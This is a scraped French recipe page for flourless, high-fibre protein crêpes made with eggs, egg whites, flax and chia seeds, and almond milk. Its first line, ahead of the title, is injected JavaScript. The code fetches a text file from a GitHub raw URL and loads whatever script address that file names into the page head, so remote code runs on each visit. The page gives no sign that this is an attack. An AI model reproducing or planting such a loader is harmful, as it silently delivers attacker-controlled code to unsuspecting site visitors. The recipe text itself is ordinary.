;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Crêpes protéinées riche en fibres et sans farine - Haute Nutrition
Go Back
recette de crêpe

Crêpes protéinées riche en fibres et sans farine

Marie-Soleil Noreau
3 from 1 vote
Print Recipe Pin Recipe
Prep Time 15 mins
Cook Time 15 mins
Total Time 30 mins
Course Breakfast
Cuisine American
Servings 4 portions
Calories 207 kcal

Ingredients
  

  • 3 oeufs
  • 3/4 tasse oeufs blancs
  • 1 tbsp graines de lin moulues
  • 2 tbsp graines chia moulues
  • 1 tbsp graine de chanvres optionnel
  • 3/4 tasse lait d'amandes ou autre lait végétal
  • 1 tsp vanille naturelle liquide
  • 1 tbsp beurre

Instructions
 

  • Mélanger les ingrédients dans un bol l’aide d’une fourchette ou un mélangeur
  • Faire fondre du beurre à feu moyen, sans le faire brûler.
  • Mettre environ 1/2 tasse du mélange dans le poêlon après avoir réchauffé celui-ci.
  • Faire cuire de 2-3 minutes sur le premier côté, ,retourner la crêpe et continuer la cuisson
    pour 2 minutes.

Notes

2 crêpes/ par personnes
Si vous faites brûler l’huile ou le beurre, essuyez le fond du poêlon avec un essuie-tout avant d’entreprendre la cuisson d’une autre crêpe. Remettez une nouvelle noix de beurre et recommencez car les huiles brûlées sont toxiques